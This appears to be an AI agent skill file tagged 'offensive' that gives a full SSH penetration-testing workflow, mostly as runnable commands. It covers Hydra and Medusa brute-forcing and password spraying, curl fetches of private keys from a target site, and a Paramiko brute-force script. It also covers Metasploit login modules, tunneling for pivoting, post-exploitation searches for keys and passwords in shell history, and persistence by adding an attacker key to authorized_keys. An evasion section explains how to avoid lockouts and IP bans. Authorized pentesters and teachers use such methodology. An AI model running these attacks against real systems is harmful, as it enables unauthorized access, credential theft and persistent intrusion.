| name | ssh-penetration-testing |
| description | Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security. |
| risk | offensive |
| source | community |
| author | zebbern |
| date_added | 2026-02-27 |
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
SSH Penetration Testing
Purpose
Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.
Prerequisites
Required Tools
- Nmap with SSH scripts
- Hydra or Medusa for brute-forcing
- ssh-audit for configuration analysis
- Metasploit Framework
- Python with Paramiko library
Required Knowledge
- SSH protocol fundamentals
- Public/private key authentication
- Port forwarding concepts
- Linux command-line proficiency
Outputs and Deliverables
- SSH Enumeration Report - Versions, algorithms, configurations
- Credential Assessment - Weak passwords, default credentials
- Vulnerability Assessment - Known CVEs, misconfigurations
- Tunnel Documentation - Port forwarding configurations
Core Workflow
Phase 1: SSH Service Discovery
Identify SSH services on target networks:
nmap -p 22 192.168.1.0/24 --open
nmap -p 22,2222,22222,2200 192.168.1.100
nmap -p- --open 192.168.1.100 | grep -i ssh
nmap -sV -p 22 192.168.1.100
Phase 2: SSH Enumeration
Gather detailed information about SSH services:
nc 192.168.1.100 22
telnet 192.168.1.100 22
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100
nmap -p 22 --script ssh2-enum-algos 192.168.1.100
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100
Phase 3: SSH Configuration Auditing
Identify weak configurations:
ssh-audit 192.168.1.100
ssh-audit -p 2222 192.168.1.100
Key configuration weaknesses to identify:
- Weak key exchange algorithms (diffie-hellman-group1-sha1)
- Weak ciphers (arcfour, 3des-cbc)
- Weak MACs (hmac-md5, hmac-sha1-96)
- Deprecated protocol versions
Phase 4: Credential Attacks
Brute-Force with Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
hydra -L users.txt -p Password123 ssh://192.168.1.100
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100
hydra -l admin -P passwords.txt -f ssh://192.168.1.100
Brute-Force with Medusa
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh
medusa -H targets.txt -u admin -P passwords.txt -M ssh
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222
Password Spraying
hydra -L users.txt -p Summer2024! ssh://192.168.1.100
for pass in "Password123" "Welcome1" "Summer2024!"; do
hydra -L users.txt -p "$pass" ssh://192.168.1.100
done
Phase 5: Key-Based Authentication Testing
Test for weak or exposed keys:
ssh -i id_rsa user@192.168.1.100
ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100
ssh -o PreferredAuthentications=password user@192.168.1.100
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
ssh -i "$key" user@192.168.1.100
done
Check for exposed keys:
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz
Phase 6: Vulnerability Exploitation
Search for known vulnerabilities:
searchsploit openssh
searchsploit openssh 7.2
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
run
Phase 7: SSH Tunneling and Port Forwarding
Local Port Forwarding
Forward local port to remote service:
ssh -L 8080:192.168.1.50:80 user@192.168.1.100
ssh -L 3306:192.168.1.50:3306 user@192.168.1.100
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100
Remote Port Forwarding
Expose local service to remote network:
ssh -R 8080:localhost:80 user@192.168.1.100
ssh -R 4444:localhost:4444 user@192.168.1.100
Dynamic Port Forwarding (SOCKS Proxy)
Create SOCKS proxy for network pivoting:
ssh -D 1080 user@192.168.1.100
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24
ProxyJump (Jump Hosts)
Chain through multiple SSH servers:
ssh -J user1@jump_host user2@target_host
ssh -J user1@jump1,user2@jump2 user3@target
Host target
HostName 192.168.2.50
User admin
ProxyJump user@192.168.1.100
Phase 8: Post-Exploitation
Activities after gaining SSH access:
sudo -l
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
ls -la ~/.ssh/
cat ~/.ssh/known_hosts
cat ~/.ssh/authorized_keys
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
cat /etc/ssh/sshd_config
cat /etc/passwd | grep -v nologin
ls /home/
cat ~/.bash_history | grep -i ssh
cat ~/.bash_history | grep -i pass
Phase 9: Custom SSH Scripts with Paramiko
Python-based SSH automation:
import paramiko
import sys
def ssh_connect(host, username, password):
"""Attempt SSH connection with credentials"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(host, username=username, password=password, timeout=5)
print(f"[+] Success: {username}:{password}")
return client
except paramiko.AuthenticationException:
print(f"[-] Failed: {username}:{password}")
return None
except Exception as e:
print(f"[!] Error: {e}")
return None
def execute_command(client, command):
"""Execute command via SSH"""
stdin, stdout, stderr = client.exec_command(command)
output = stdout.read().decode()
errors = stderr.read().decode()
return output, errors
def ssh_brute_force(host, username, wordlist):
"""Brute-force SSH with wordlist"""
with open(wordlist, 'r') as f:
passwords = f.read().splitlines()
for password in passwords:
client = ssh_connect(host, username, password.strip())
if client:
output, _ = execute_command(client, 'id; uname -a')
print(output)
client.close()
return True
return False
if __name__ == "__main__":
target = "192.168.1.100"
user = "admin"
client = ssh_connect(target, user, "password123")
if client:
output, _ = execute_command(client, "ls -la")
print(output)
client.close()
Phase 10: Metasploit SSH Modules
Use Metasploit for comprehensive SSH testing:
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE true
run
use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 192.168.1.100
set USERNAME admin
set KEY_FILE /path/to/id_rsa
run
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE users.txt
run
sessions -i 1
Quick Reference
SSH Enumeration Commands
| Command | Purpose |
|---|
nc <host> 22 | Banner grabbing |
ssh-audit <host> | Configuration audit |
nmap --script ssh* | SSH NSE scripts |
searchsploit openssh | Find exploits |
Brute-Force Options
| Tool | Command |
|---|
| Hydra | hydra -l user -P pass.txt ssh://host |
| Medusa | medusa -h host -u user -P pass.txt -M ssh |
| Ncrack | ncrack -p 22 --user admin -P pass.txt host |
| Metasploit | use auxiliary/scanner/ssh/ssh_login |
Port Forwarding Types
| Type | Command | Use Case |
|---|
| Local | -L 8080:target:80 | Access remote services locally |
| Remote | -R 8080:localhost:80 | Expose local services remotely |
| Dynamic | -D 1080 | SOCKS proxy for pivoting |
Common SSH Ports
| Port | Description |
|---|
| 22 | Default SSH |
| 2222 | Common alternate |
| 22222 | Another alternate |
| 830 | NETCONF over SSH |
Constraints and Limitations
Legal Considerations
- Always obtain written authorization
- Brute-forcing may violate ToS
- Document all testing activities
Technical Limitations
- Rate limiting may block attacks
- Fail2ban or similar may ban IPs
- Key-based auth prevents password attacks
- Two-factor authentication adds complexity
Evasion Techniques
- Use slow brute-force:
-t 1 -w 5
- Distribute attacks across IPs
- Use timing-based enumeration carefully
- Respect lockout thresholds
Troubleshooting
| Issue | Solutions |
|---|
| Connection Refused | Verify SSH running; check firewall; confirm port; test from different IP |
| Authentication Failures | Verify username; check password policy; key permissions (600); authorized_keys format |
| Tunnel Not Working | Check GatewayPorts/AllowTcpForwarding in sshd_config; verify firewall; use ssh -v |
When to Use
This skill is applicable to execute the workflow or actions described in the overview.